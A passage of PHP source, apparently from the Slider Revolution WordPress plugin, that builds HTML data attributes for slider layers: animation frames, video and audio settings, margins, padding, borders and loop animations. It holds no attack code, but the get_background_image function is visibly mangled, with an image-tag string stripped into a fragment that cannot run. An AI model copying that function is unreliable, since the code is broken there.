$_frames[$frame]['base']['sA'] = ($frame !== 'frame_999') ? $start_cache[$frame] : $start_cache_999; } } } //if Out Animation set to "auto reverse" if($this->get_val($frames, array('frame_999', 'timeline', 'auto'), false)){ $_frames['frame_999']['base'] = array( 'st' => $this->get_val($_frames, array('frame_999', 'base', 'st')), 'sp' => $this->get_val($_frames, array('frame_999', 'base', 'sp')), 'sR' => $this->get_val($_frames, array('frame_999', 'base', 'sR')), 'auto' => 'true' ); } //st is only available in frame_1 ... 999, so remove it from frame_0 if it exists if(isset($_frames['frame_0']) && isset($_frames['frame_0']['base'])){ if(isset($_frames['frame_0']['base']['st'])){ unset($_frames['frame_0']['base']['st']); } if(isset($_frames['frame_0']['base']['sR'])){ unset($_frames['frame_0']['base']['sR']); } if(isset($_frames['frame_0']['base']['sp'])){ unset($_frames['frame_0']['base']['sp']); } } } /** * as we only show the layer on slide hover * set the frame_1 and frame_999 st to 'a' **/ if($this->get_val($layer, array('visibility', 'onlyOnSlideHover'), false) === true){ if(!isset($_frames['frame_1'])) $_frames['frame_1'] = array(); if(!isset($_frames['frame_999'])) $_frames['frame_999'] = array(); if(!isset($_frames['frame_1']['base'])) $_frames['frame_1']['base'] = array(); if(!isset($_frames['frame_999']['base'])) $_frames['frame_999']['base'] = array(); $_frames['frame_1']['base']['st'] = 'a'; $_frames['frame_999']['base']['st'] = 'a'; } return $_frames; } /** * transform certain values into a different format for output **/ public function transform_frame_vals($nv){ if(strpos($nv, '{') !== false){ $nv = str_replace(array('{', '}'), '', $nv); $nv = str_replace(',', '|', $nv); $nv = 'ran('.$nv.')'; } if(strpos($nv, '[') !== false){ $nv = str_replace(array('[', ']'), '', $nv); $nv = str_replace(',', '|', $nv); $nv = 'cyc('.$nv.')'; } return $nv; } /** * get the layer frames HTML **/ public function get_html_clip(){ $layer = $this->get_layer(); $html = 'data-clip="'; if($this->get_val($layer, array('timeline', 'clipPath', 'use')) === true){ $html .= 'u:true;'; $type = $this->get_val($layer, array('timeline', 'clipPath', 'type'), 'rectangle'); $origin = $this->get_val($layer, array('timeline', 'clipPath', 'origin'), 'l'); $html .= ($type !== 'rectangle') ? 't:'.$type.';' : ''; $html .= ($origin !== 'l') ? 'o:'.$origin.';' : ''; } $html .= '"'; return ($html !== 'data-clip=""') ? $html : ''; } /** * get the layer frames HTML **/ public function get_html_frames($frames){ $html = ''; if(!empty($frames)){ foreach($frames as $base => $_frame){ if(!empty($_frame)){ foreach($_frame as $_base => $values){ $s = ''; if(empty($values)) continue; foreach($values as $k => $v){ if(is_bool($v)){ $v = ($v === true) ? 'true' : 'false'; } $s .= ($v !== '') ? $k.':'.$v.';' : ''; } if($s !== ''){ $_base = ($_base === 'base') ? '' : '_'.$_base; if($html !== '') $html .= $this->ld().RS_T8; $html .= 'data-'.$base.$_base.'="'.$s.'"'."\n"; } } } } } return $html; } /** * add html blendmode **/ public function get_html_blendmode(){ $layer = $this->get_layer(); $blendmode = $this->get_val($layer, array('idle', 'filter', 'blendMode'), 'normal'); return ($blendmode !== 'normal') ? 'data-blendmode="'.$blendmode.'"' : ''; } /** * add the spike html data * @since: 6.0 **/ public function get_html_spike_data(){ $layer = $this->get_layer(); $html = 'data-spike="'; if($this->get_val($layer, array('idle', 'spikeUse'), false) === true){ $l = $this->get_val($layer, array('idle', 'spikeLeft'), 'none'); $r = $this->get_val($layer, array('idle', 'spikeRight'), 'none'); $lw = $this->get_val($layer, array('idle', 'spikeLeftWidth'), 10); $rw = $this->get_val($layer, array('idle', 'spikeRightWidth'), 10); if($l !== 'none') $html .= 'l:'.$l.';'; if($r !== 'none') $html .= 'r:'.$r.';'; if(!in_array($lw, array(10, '10', '10%'), true)) $html .= 'lw:'.$lw.';'; if(!in_array($rw, array(10, '10', '10%'), true)) $html .= 'rw:'.$rw.';'; } $html .= '"'; return ($html !== 'data-spike=""') ? $html : ''; } /** * add the text stroke html data * @since: 6.1.2 **/ public function get_html_text_stroke(){ $layer = $this->get_layer(); $html = 'data-tst="'; if($this->get_val($layer, array('idle', 'textStroke', 'inuse'), false) === true){ if($this->adv_resp_sizes == true){ $w = $this->normalize_device_settings($this->get_val($layer, array('idle', 'textStroke', 'width')), $this->enabled_sizes, 'html-array', array('1px')); }else{ $w = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'textStroke', 'width')), $this->enabled_sizes, '1px'); } $c = $this->get_val($layer, array('idle', 'textStroke', 'color'), 'rgba(0,0,0,0.25)'); if(!in_array(trim($w), array(1, '1', '1px', ''), true)) $html .= 'w:'.$w.';'; if($c !== 'rgba(0,0,0,0.25)') $html .= 'c:'.$c.';'; } $html .= '"'; return ($html !== 'data-tst=""') ? $html : ''; } /** * add frameorder **/ public function get_html_frameorder(){ $layer = $this->get_layer(); $frameorder = $this->get_val($layer, array('timeline', 'frameOrder'), ''); if($frameorder !== ''){ $fo = ''; foreach($frameorder as $frames){ $fo .= $this->get_val($frames, 'id').';'; } $frameorder = $fo; } return ($frameorder === 'frame_1;frame_999;' || $frameorder === 'frame_0;frame_1;frame_999;' || $frameorder === '') ? '' : 'data-ford="'.$frameorder.'"'; } /** * add html hideunder **/ public function get_html_hideunder(){ $layer = $this->get_layer(); return ($this->get_val($layer, array('visibility', 'hideunder')) === true) ? 'data-layeronlimit="on"' : ''; } /** * add audio html params here **/ public function get_html_audio_data(){ $data = array('video' => array()); $layer = $this->get_layer(); if($this->get_val($layer, 'type', 'text') !== 'audio') return ''; $vw = $this->get_val($layer, array('size', 'width')); $vh = $this->get_val($layer, array('size', 'height')); $vpl = $this->get_val($layer, array('media', 'preload'), 'auto'); $sta = $this->get_val($layer, array('media', 'startAt'), -1); $end = $this->get_val($layer, array('media', 'endAt'), -1); $mp4 = esc_attr($this->remove_http($this->get_val($layer, array('media', 'audioUrl')))); $vl = $this->get_val($layer, array('media', 'loop'), true); $vpt = $this->get_val($layer, array('media', 'pausetimer'), false); $vpt = (in_array($vl, array('loop', 'none'), true)) ? true : $vpt; $ap = $this->get_val($layer, array('media', 'autoPlay'), 'true'); $frw = $this->get_val($layer, array('media', 'forceRewind'), true); $vc = $this->get_val($layer, array('media', 'controls'), false); $nse = $this->get_val($layer, array('media', 'nextSlideAtEnd'), true); $sav = $this->get_val($layer, array('media', 'stopAllVideo'), true); $volume = $this->get_val($layer, array('media', 'volume'), 100); $mute = $this->get_val($layer, array('media', 'mute'), true); if($this->adv_resp_sizes == true){ $data['video']['w'] = $this->normalize_device_settings($vw, $this->enabled_sizes, 'html-array', array(54)); $data['video']['h'] = $this->normalize_device_settings($vh, $this->enabled_sizes, 'html-array', array(54)); }else{ $data['video']['w'] = $this->get_biggest_device_setting($vw, $this->enabled_sizes); $data['video']['h'] = $this->get_biggest_device_setting($vh, $this->enabled_sizes); } //if(!in_array($vpl, array('', 'auto'), true)){ $data['video']['p'] = $vpl; //$plw = intval($this->get_val($layer, array('media', 'preloadWait'), 5)); //if(!in_array($plw, array('5', 5), true)) $data['video']['pw'] = $plw; //} if(!in_array($sta, array('', '-1', -1), true)) $data['video']['sta'] = $sta; if(!in_array($end, array('', '-1', -1), true)) $data['video']['end'] = $end; if(!empty($mp4)) $data['mp4'] = $mp4; if(!in_array($ap, array('true', true), true)) $data['video']['ap'] = $ap; if($frw === false) $data['video']['rwd'] = false; if($vc === true) $data['video']['vc'] = true; if($nse === false) $data['video']['nse'] = false; if($sav === false) $data['video']['sav'] = false; if($mute !== true) $data['video']['v'] = $volume; $data['video']['l'] = $vl; $data['video']['vd'] = $volume; $data['video']['ptimer'] = $vpt; $html = ''; if(!empty($data)){ foreach($data as $k => $d){ if(empty($d)) continue; $html .= $this->ld().RS_T8.'data-'.$k.'="'; if(is_array($d)){ foreach($d as $kk => $dd){ $html .= $kk.':'; $html .= $this->write_js_var($dd, ''); $html .= ';'; } }else{ $html .= $this->write_js_var($d, ''); } $html .= '"'."\n"; } } return $html; } /** * get the HTML video data attributes **/ public function get_html_video_data(){ $layer = $this->get_layer(); $data = array('video' => array()); if($this->get_val($layer, 'type', 'text') !== 'video') return ''; $video_type = trim($this->get_val($layer, array('media', 'mediaType'))); $video_type = ($video_type === '') ? 'html5' : $video_type; if(!in_array($video_type, array('streamyoutube', 'streamyoutubeboth', 'youtube', 'streamvimeo', 'streamvimeoboth', 'vimeo', 'streaminstagram', 'streaminstagramboth', 'html5'), true)) return ''; if($video_type === 'html5') $data['video']['vfc'] = $this->get_val($layer, array('media', 'fitCover'), true); $http = (is_ssl()) ? 'https://' : 'http://'; $vid = trim($this->get_val($layer, array('media', 'id'))); $mute = $this->get_val($layer, array('media', 'mute'), true); $volume = $this->get_val($layer, array('media', 'volume'), 100); $vargs = trim($this->get_val($layer, array('media', 'args'))); $control = $this->get_val($layer, array('media', 'controls'), false); $sta = $this->get_val($layer, array('media', 'startAt')); $end = $this->get_val($layer, array('media', 'endAt')); $vl = $this->get_val($layer, array('media', 'loop'), true); $vpt = $this->get_val($layer, array('media', 'pausetimer'), false); $vpt = (in_array($vl, array('loop', 'none'), true)) ? true : $vpt; $poch = $this->get_val($layer, array('media', 'pauseOnSlideChange'), false); $autoplay = $this->get_val($layer, array('media', 'autoPlay'), 'true'); $nextslide = $this->get_val($layer, array('media', 'nextSlideAtEnd'), true); $poster = $this->remove_http($this->get_val($layer, array('media', 'posterUrl'), '')); $poster_change = $this->get_val($layer, array('behavior', 'imageSourceType'), 'full'); $poster_id = $this->remove_http($this->get_val($layer, array('media', 'posterId'))); if($mute !== true) $data['video']['twa'] = $mute; // Set twa before checking autoplay $mute = (!in_array($autoplay, array('false', false), true)) ? true : $mute; if(!in_array($autoplay, array('true', true), true)) $data['video']['ap'] = $autoplay; if($mute !== true) $data['video']['v'] = $volume; $data['video']['vd'] = $volume; if(!in_array($sta, array('', '-1', -1), true)) $data['video']['sta'] = $sta; if(!in_array($end, array('', '-1', -1), true)) $data['video']['end'] = $end; if($poch === true) $data['video']['poch'] = $poch; if($this->get_val($layer, array('media', 'posterOnPause'), false) !== false) $data['video']['scop'] = 't'; if($this->get_val($layer, array('media', 'forceRewind'), true) !== true) $data['video']['rwd'] = 'f'; if($this->get_val($layer, array('media', 'nointeraction'), false) !== false) $data['video']['noint'] = 't'; if($this->get_val($layer, array('size', 'covermode'), 'custom') === 'cover-proportional'){ $ratio = $this->get_val($layer, array('media', 'ratio')); $data['video']['fc'] = true; if(!in_array($ratio, array('16:9', ''), true)) $data['video']['ar'] = $ratio; } $dotted = $this->get_val($layer, array('media', 'dotted')); if(!in_array($dotted, array('none', ''), true)){ $data['video']['do'] = $dotted; $doca = $this->get_val($layer, array('media', 'dottedColorA'), 'transparent'); $docb = $this->get_val($layer, array('media', 'dottedColorB'), '#000000'); $dos = $this->get_val($layer, array('media', 'dottedSize'), 1); if($doca !== 'transparent') $data['video']['doca'] = $doca; if(!in_array($docb, array('', '#000000', '#000'), true)) $data['video']['docb'] = $docb; if(!in_array($dos, array('', '1', 1), true)) $data['video']['dos'] = $dos; } $data['video']['l'] = $vl; $data['video']['ptimer'] = $vpt; if($nextslide === false) $data['video']['nse'] = 'f'; if($this->get_val($layer, array('media', 'stopAllVideo'), true) === false) $data['video']['sav'] = 'f'; if($this->get_val($layer, array('media', 'allowFullscreen'), true) === false) $data['video']['afs'] = 'f'; if(!empty($poster)){ if($poster_change !== 'full' && $poster !== false && !empty($poster)){ $_img = wp_get_attachment_image_src($poster, $poster_change); $poster = ($_img !== false) ? $_img[0] : $poster; } $data['poster'] = $poster; if($this->get_val($layer, array('media', 'disableOnMobile'), false) === true) $data['video']['npom'] = 't'; if($this->get_val($layer, array('media', 'posterOnMobile'), false) === true) $data['video']['opom'] = 't'; } switch($video_type){ case 'streamyoutube': case 'streamyoutubeboth': case 'youtube': $vid = (in_array($video_type, array('streamyoutube', 'streamyoutubeboth'), true)) ? $this->slide->get_param(array('bg', 'youtube'), '') : $vid; //change $vid to the stream! $vid = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'youtube'), '') : $vid; $vargs = (empty($vargs)) ? RevSliderFront::YOUTUBE_ARGUMENTS : $vargs; $sp = $this->get_val($layer, array('media', 'speed'), 1); $inl = $this->get_val($layer, array('media', 'playInline'), true); if(!$mute) $vargs = 'volume='.intval($volume).'&'.$vargs; if($sta !== ''){ $start_raw = explode(':', $sta); if(count($start_raw) == 2){ $sta = (intval($start_raw[0]) > 0) ? $start_raw[0]*60 + $start_raw[1] : $start_raw[1]; } $vargs .= ($sta !== '') ? '&start='.$sta : ''; } if($end !== ''){ $end_raw = explode(':', $end); if(count($end_raw) == 2){ $end = (intval($end_raw[0]) > 0) ? $end_raw[0]*60 + $end_raw[1] : $end_raw[1]; } $vargs .= ($end !== '') ? '&end='.$end : ''; } $vargs .= '&origin='.$http.$_SERVER['SERVER_NAME'].';'; if($control === true) $data['video']['vc'] = 't'; if(strpos($vid, 'http') !== false){ //check if full URL parse_str(parse_url($vid, PHP_URL_QUERY), $my_v_ret); //we have full URL, split it to ID $vid = $my_v_ret['v']; } $this->youtube_exists = (empty($vid)) ? $this->youtube_exists : true; $data['ytid'] = $vid; $data['vatr'] = 'version=3&enablejsapi=1&html5=1&'.$vargs; if(!in_array($sp, array('1', 1), true)) $data['video']['sp'] = $sp; if($inl === false) $data['video']['inl'] = 'f'; break; case 'streamvimeo': case 'streamvimeoboth': case 'vimeo': $vid = (in_array($video_type, array('streamvimeo', 'streamvimeoboth'), true)) ? $this->slide->get_param(array('bg', 'vimeo'), '') : $vid; $vid = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'vimeo'), '') : $vid; $vid = (strpos($vid, 'http') !== false) ? (int) substr(parse_url($vid, PHP_URL_PATH), 1) : $vid; //check if full URL //we have full URL, split it to ID $vargs = str_replace(array('&background=1', '&background=0', 'background=1', 'background=0'), '', $vargs); $vargs = (empty($vargs)) ? RevSliderFront::VIMEO_ARGUMENTS : $vargs; $vargs = (!$control) ? 'background=1&'.$vargs : $vargs; $data['vimeoid'] = $vid; $data['vatr'] = $vargs; $data['video']['vc'] = $control; break; case 'streaminstagram': case 'streaminstagramboth': case 'html5': $ogv = $this->get_val($layer, array('media', 'ogvUrl'), ''); $webm = $this->get_val($layer, array('media', 'webmUrl'), ''); $mp4 = $this->remove_http($this->get_val($layer, array('media', 'mp4Url'), '')); $mp4 = ($this->get_val($layer, array('media', 'videoFromStream'), false) === true) ? $this->slide->get_param(array('bg', 'mpeg'), '') : $mp4; $vpr = $this->get_val($layer, array('media', 'preload'), 'auto'); $inl = $this->get_val($layer, array('media', 'playInline'), true); if($control === true) $data['video']['vc'] = 't'; if(!empty($ogv))$data['videoogv'] = $ogv; if(!empty($webm)) $data['videowebm'] = $webm; if(!empty($mp4)) $data['mp4'] = $mp4; if(!in_array($vpr, array('', 'auto'), true)) $data['video']['p'] = $vpr; if($inl === false) $data['video']['inl'] = 'f'; break; } if(isset($data['vatr'])){ $data['vatr'] = str_replace('&', '&', $data['vatr']); $data['vatr'] = str_replace('&', '&', $data['vatr']); $data['vatr'] = str_replace(';&', '&', $data['vatr']); $data['vatr'] = str_replace(';;', ';', $data['vatr']); } $html = ''; if(!empty($data)){ foreach($data as $k => $d){ if(empty($d)) continue; $html .= $this->ld().RS_T8.'data-'.$k.'="'; if(is_array($d)){ foreach($d as $kk => $dd){ $html .= $kk.':'; $html .= $this->write_js_var($dd, ''); $html .= ';'; } }else{ $html .= $this->write_js_var($d, ''); } $html .= '"'."\n"; } } return $html; } /** * get the covermode HTML data **/ public function get_html_covermode_data(){ $layer = $this->get_layer(); $covermode = $this->get_val($layer, array('size', 'covermode'),'custom'); return ($covermode === 'fullinset') ? 'data-fullinset="true"' : ''; } /** * get the column HTML data **/ public function get_html_column_data(){ $layer = $this->get_layer(); $type = $this->get_val($layer, 'type', 'text'); $data = 'data-column="'; if($type === 'column'){ $size_raw = explode('/', $this->get_val($layer, array('group', 'columnSize'), '1/3')); $size = (count($size_raw) !== 2) ? '100' : round(100 * ((int)$size_raw[0] / (int)$size_raw[1]), 2); $data .= (!in_array($size, array('', '33,33', '33.33', 33.33), true)) ? 'w:'.$size.'%;' : ''; } if(in_array($type, array('column', 'group'), true)){ $va = $this->get_val($layer, array('idle', 'verticalAlign'), 'top'); $data .= ($va !== 'top') ? 'a:'.$va.';' : ''; } $data .= '"'; return ($data !== 'data-column=""') ? $data : ''; } /** * check if in the layer actions an action has an trigger **/ public function get_html_margin_data($row_group_uid){ $layer = $this->get_layer(); $type = $this->get_val($layer, 'type', 'text'); $data = 'data-margin="'; //add margin data attributes //if($type == 'row' || $type == 'column' || $row_group_uid !== false){ $margins = $this->get_val($layer, array('idle', 'margin')); $rl_margin = array(); $margin_vals = $this->normalize_device_settings($margins, $this->enabled_sizes, 'obj', array(0)); foreach($margin_vals as $margin){ if(!empty($margin)){ foreach($margin as $mkey => $mar){ $rl_margin[$mkey][] = $mar; } } } if(!empty($rl_margin)){ $mnames = array('t', 'r', 'b', 'l'); for($i=0; $i<4; $i++){ if(isset($rl_margin[$i])){ if(is_array($rl_margin[$i])){ if(count(array_unique($rl_margin[$i])) === 1){ $m = reset($rl_margin[$i]); $mm = str_replace(array('%', 'px'), '', $m); if($mm !== '0' && $mm !== ''){ $data .= $mnames[$i].':'.$m.';'; } }else{ $data .= $mnames[$i].':'.implode(',', $rl_margin[$i]).';'; } }else{ $mm = str_replace(array('%', 'px'), '', $rl_margin[$i]); if($mm !== '0' && $mm !== ''){ $data .= $mnames[$i].':'.$rl_margin[$i].';'; } } } } } // } $data .= '"'; return ($data !== 'data-margin=""') ? $data : ''; } /** * get padding html data **/ public function get_html_padding_data(){ $layer = $this->get_layer(); $paddings = $this->get_val($layer, array('idle', 'padding')); $data = 'data-padding="'; $rl_padding = array(); $padding_vals = $this->normalize_device_settings($paddings, $this->enabled_sizes, 'obj', array(0)); foreach($padding_vals as $padding){ if(!empty($padding)){ foreach($padding as $mkey => $mar){ $rl_padding[$mkey][] = str_replace(array('px', '%'), '', $mar); } } } if(!empty($rl_padding)){ $mnames = array('t', 'r', 'b', 'l'); for($i=0;$i<4;$i++){ if(isset($rl_padding[$i])){ if(is_array($rl_padding[$i])){ if(count(array_unique($rl_padding[$i])) === 1){ $m = reset($rl_padding[$i]); $mm = str_replace(array('%', 'px'), '', $m); if($mm !== '0' && $mm !== ''){ $data .= $mnames[$i].':'.$m.';'; } }else{ $data .= $mnames[$i].':'.implode(',', $rl_padding[$i]).';'; } }else{ $mm = str_replace(array('%', 'px'), '', $rl_padding[$i]); if($mm !== '0' && $mm !== ''){ $data .= $mnames[$i].':'.$rl_padding[$i].';'; } } } } } $data .= '"'; return ($data !== 'data-padding=""') ? $data : ''; } /** * get padding html data **/ public function get_html_border_data(){ $layer = $this->get_layer(); $data = 'data-border="'; $style = array(); if($this->adv_resp_sizes == true){ $style['bos'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'borderStyle'), 'none'), $this->enabled_sizes, 'html-array', array('none')); }else{ $style['bos'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'borderStyle'), 'none'), $this->enabled_sizes); } $style['boc'] = $this->get_val($layer, array('idle', 'borderColor')); $style['bow'] = $this->get_val($layer, array('idle', 'borderWidth'), '0px'); $style['bow'] = (is_array($style['bow']) || is_object($style['bow'])) ? implode(',', (array)$style['bow']) : $style['bow']; $style['bor'] = $this->get_val($layer, array('idle', 'borderRadius', 'v')); $style['bor'] = (is_array($style['bor']) || is_object($style['bor'])) ? implode(',', (array)$style['bor']) : $style['bor']; if(in_array($style['bow'], array(0, '0px', '0px,0px,0px,0px', '0', '0,0,0,0'), true) || in_array($style['bos'], array('', 'none'))){ unset($style['bow']); unset($style['boc']); unset($style['bos']); } if(in_array($style['bor'], array(0, '0px', '0px,0px,0px,0px', '0', '0,0,0,0'), true)){ unset($style['bor']); } if(!empty($style)){ foreach($style as $k => $v){ if(trim($v) !== ''){ $data .= $k.':'.$v.';'; } } } $data .= '"'; return ($data !== 'data-border=""') ? $data : ''; } /** * get the background image **/ public function get_background_image(){ $layer = $this->get_layer(); $type = $this->get_val($layer, 'type', 'text'); $add = ''; $image = 'remove_http($url_image) .'"'; $url_image = RS_PLUGIN_URL.'public/assets/assets/dummy.png'; } $image .= "background: url('".$this->remove_http($url_image)."')"; $image .= ' '.$this->get_val($layer, array('idle', 'backgroundRepeat'), 'no-repeat'); $image .= ' '.$this->get_val($layer, array('idle', 'backgroundPosition'), 'center center'); $image .= ';'; $bgs = $this->get_val($layer, array('idle', 'backgroundSize'), 'cover'); $bgs = ($bgs === 'percentage') ? $this->get_val($layer, array('idle', 'backgroundSizePerc'), '100').'%' : $bgs; $bgs = ($bgs === 'pixel') ? $this->get_val($layer, array('idle', 'backgroundSizePix'), '100').'px' : $bgs; $image .= ' background-size: '.$bgs.';'; } } } $image .= '"'. $add .'>'; return ($image !== '') ? $image : ''; } /** * get stream background image for layer * @since: 6.2.0 **/ public function get_stream_background_image($layer){ $bgi = array('id' => '', 'size' => '', 'url' => ''); $slide = $this->get_slide(); if($this->slider->get_param('sourcetype') !== 'gallery'){ if(in_array($this->slider->get_param('sourcetype'), array('post', 'woo', 'woocommerce'), true)){ $bgi['id'] = get_post_thumbnail_id($slide->get_id()); if(!empty($bgi['id'])){ $bgi['size'] = $this->get_val($layer, array('behavior', 'streamSourceType'), 'full'); $thumbnail_url = wp_get_attachment_image_src($bgi['id'], $bgi['size']); $bgi['url'] = ($thumbnail_url !== false) ? $this->get_val($thumbnail_url, 0) : $bgi['url']; } }else{ $bgi['id'] = $slide->get_id(); $bgi['size'] = 'full'; $bgi['url'] = $this->get_val($layer, array('media', 'imageUrl'), ''); } } return $bgi; } /** * get the layer loop animation data **/ public function get_loop_data(){ $layer = $this->get_layer(); $loop = array('loop_0' => '', 'loop_999' => ''); //needs to be pushed as loop_* in frontend $loop_keys = array('frame_0' => '', 'frame_999' => ''); //stored as frame_* in database if($this->get_val($layer, array('timeline', 'loop', 'use'), false) === true){ $e = $this->get_val($layer, array('timeline', 'loop', 'ease'), 'none'); $this->easings[$e] = $e; $sp = $this->get_val($layer, array('timeline', 'loop', 'speed'), 1000); $rA = $this->get_val($layer, array('timeline', 'loop', 'radiusAngle'), 0); $crns = $this->get_val($layer, array('timeline', 'loop', 'curviness'), 2); $crd = $this->get_val($layer, array('timeline', 'loop', 'curved'), false); $yym = $this->get_val($layer, array('timeline', 'loop', 'yoyo_move'), false); $yyr = $this->get_val($layer, array('timeline', 'loop', 'yoyo_rotate'), false); $yys = $this->get_val($layer, array('timeline', 'loop', 'yoyo_scale'), false); $yyf = $this->get_val($layer, array('timeline', 'loop', 'yoyo_filter'), false); $rep = $this->get_val($layer, array('timeline', 'loop', 'repeat'), '-1'); $st = $this->get_val($layer, array('timeline', 'loop', 'start'), 740); $aR = $this->get_val($layer, array('timeline', 'loop', 'autoRotate'), false); $oX = $this->get_val($layer, array('timeline', 'loop', 'originX'), '50%'); $oY = $this->get_val($layer, array('timeline', 'loop', 'originY'), '50%'); $oZ = $this->get_val($layer, array('timeline', 'loop', 'originZ'), '0'); //every loop frame needs this $all_keys = array( 'xr' => array('n' => 'xR', 'd' => array(0, '0', '0px', '')), 'yr' => array('n' => 'yR', 'd' => array(0, '0', '0px', '')), 'zr' => array('n' => 'zR', 'd' => array(0, '0', '0px', '')), 'x' => array('n' => 'x', 'd' => array(0, '0px', '', '0', '0%')), 'y' => array('n' => 'y', 'd' => array(0, '0px', '', '0', '0%')), 'z' => array('n' => 'z', 'd' => array(0, '0px', '', '0', '0%')), 'scaleX' => array('n' => 'sX', 'd' => 1), 'scaleY' => array('n' => 'sY', 'd' => 1), 'opacity' => array('n' => 'o', 'd' => 1), 'rotationX' => array('n' => 'rX', 'd' => array(0, '0', '0deg')), 'rotationY' => array('n' => 'rY', 'd' => array(0, '0', '0deg')), 'rotationZ' => array('n' => 'rZ', 'd' => array(0, '0', '0deg')), 'skewX' => array('n' => 'skX', 'd' => array(0, '0', '0px', '')), 'skewY' => array('n' => 'skY', 'd' => array(0, '0', '0px', '')), 'blur' => array('n' => 'blu', 'd' => 0), 'brightness' => array('n' => 'bri', 'd' => 100), 'grayscale' => array('n' => 'gra', 'd' => 0) ); if($crd === false){ unset($all_keys['xr']); unset($all_keys['yr']); unset($all_keys['zr']); } foreach($loop_keys as $l => $lv){ $_l = str_replace('frame_', 'loop_', $l); foreach($all_keys as $key => $v){ $d = (is_array($v['d'])) ? $v['d'][0] : $v['d']; $nv = $this->get_val($layer, array('timeline', 'loop', $l, $key), $d); if(is_array($v['d'])){ if(!in_array($nv, $v['d'], true)){ $loop[$_l] .= $v['n'].':'.$nv.';'; } }else{ if((string)$nv !== (string)$v['d']){ $loop[$_l] .= $v['n'].':'.$nv.';'; } } } } //these are the special settings for certain loop frames only $loop['loop_0'] .= ($oX !== '50%') ? 'oX:'.$oX.';' : ''; $loop['loop_0'] .= ($oY !== '50%') ? 'oY:'.$oY.';' : ''; $loop['loop_0'] .= ($oZ !== '0') ? 'oZ:'.$oZ.';' : ''; $loop['loop_999'] .= ($aR !== false) ? 'aR:t;' : ''; $loop['loop_999'] .= ($crd !== false) ? 'crd:t;' : ''; if($crd !== false){ $loop['loop_999'] .= ($crns !== 2 && $crns !== '') ? 'crns:'.$crns.';' : ''; $loop['loop_999'] .= ($rA !== 0 && $rA !== '') ? 'rA:'.$rA.';' : ''; } $loop['loop_999'] .= ($sp !== 1000 && $sp !== '') ? 'sp:'.$sp.';' : ''; $loop['loop_999'] .= ($st !== 740 && $st !== '') ? 'st:'.$st.';' : ''; $loop['loop_999'] .= ($e !== 'none' && $e !== '') ? 'e:'.$e.';' : ''; $loop['loop_999'] .= ($yym !== false) ? 'yym:t;' : ''; $loop['loop_999'] .= ($yyr !== false) ? 'yyr:t;' : ''; $loop['loop_999'] .= ($yys !== false) ? 'yys:t;' : ''; $loop['loop_999'] .= ($yyf !== false) ? 'yyf:t;' : ''; $loop['loop_999'] .= ($rep !== '-1' && $rep !== '') ? 'rep:'.$rep.';' : ''; } return $loop; } /** * get layer toggle data * @change 6.2.16: * - added idle -> whiteSpace setting * - added moved do_shortcode() to a later step **/ public function get_toggle_data(){ $layer = $this->get_layer(); $toggle = array(); $type = $this->get_val($layer, array('type', 'text')); $text_toggle = $this->get_val($layer, array('toggle', 'text')); $toggle['allow'] = $this->get_val($layer, array('toggle', 'set'), false); $toggle['inverse_content'] = $this->get_val($layer, array('toggle', 'inverse'), false); $toggle['html'] = ''; if(!in_array($type, array('shape', 'svg', 'image'), true)){ if(function_exists('qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate $text_toggle = qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($text_toggle); }elseif(function_exists('ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate plus $text_toggle = ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($text_toggle); }elseif(function_exists('qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate X $text_toggle = qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage($text_toggle); } $toggle['html'] = $text_toggle; } global $fa_icon_var, $fa_var, $pe_7s_var; foreach($this->icon_sets as $is){ if(strpos($toggle['html'], $is) !== false){ //include default Icon Sets if used $font_var = str_replace('-', '_', $is).'var'; $$font_var = true; $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $cache->add_addition('special', 'font_var', $font_var); } } //Replace Placeholders $toggle['html'] = $this->set_placeholders($toggle['html']); if($this->adv_resp_sizes == true){ $ws = $this->normalize_device_settings($this->get_val($layer, array('idle', 'whiteSpace')), $this->enabled_sizes, 'html-array', array('nowrap')); }else{ $ws = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'whiteSpace'), 'nowrap'), $this->enabled_sizes); } //replace new lines with
            $toggle['html'] = (strpos($ws, 'content') !== false || strpos($ws, 'full') !== false) ? nl2br($toggle['html']) : $toggle['html']; //do shortcodes here, so that nl2br is not done within the shortcode content $toggle['html'] = (!in_array($type, array('image', 'svg', 'column', 'shape'), true)) ? do_shortcode(stripslashes($toggle['html'])) : $toggle['html']; return $toggle; } /** * get layer HTML corners **/ public function get_html_corners(){ $layer = $this->get_layer(); $html = 'data-corners="'; if(in_array($this->get_val($layer, 'type', 'text'), array('text', 'button','shape'), true)){ $cl = $this->get_val($layer, array('idle', 'cornerLeft'), 'none'); $cr = $this->get_val($layer, array('idle', 'cornerRight'), 'none'); $html .= (!in_array($cl, array('', 'none'), true)) ? $cl.';' : ''; $html .= (!in_array($cr, array('', 'none'), true)) ? $cr.';' : ''; } $html .= '"'; return ($html !== 'data-corners=""') ? $html : ''; } /** * get layer HTML disp **/ public function get_html_disp(){ $layer = $this->get_layer(); $type = $this->get_val($layer, 'type', 'text'); $html = 'data-disp="'; if(($this->container_mode === 'column' || $this->container_mode === 'group') && $type !== 'row' && $this->get_val($layer, array('idle', 'display'), 'block') !== 'block'){ $html .= $this->get_val($layer, array('idle', 'display')); } $html .= '"'; return ($html !== 'data-disp=""') ? $html : ''; } /** * get layer HTML layer additions **/ public function get_html_layer_additions(){ $layer = $this->get_layer(); $html = ''; if(!empty($this->layer_additions)){ foreach($this->layer_additions as $data => $value){ $html .= $this->ld().RS_T8.$data.'="'; $html .= (is_array($value)) ? json_encode($value) : $value; $html .= '"'."\n"; } } return $html; } /** * get the HTML layer **/ public function get_html_layer(){ $layer = $this->get_layer(); $html = ''; $type = $this->get_val($layer, 'type', 'text'); $text = $this->get_val($layer, 'text'); if(function_exists('qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate $text = 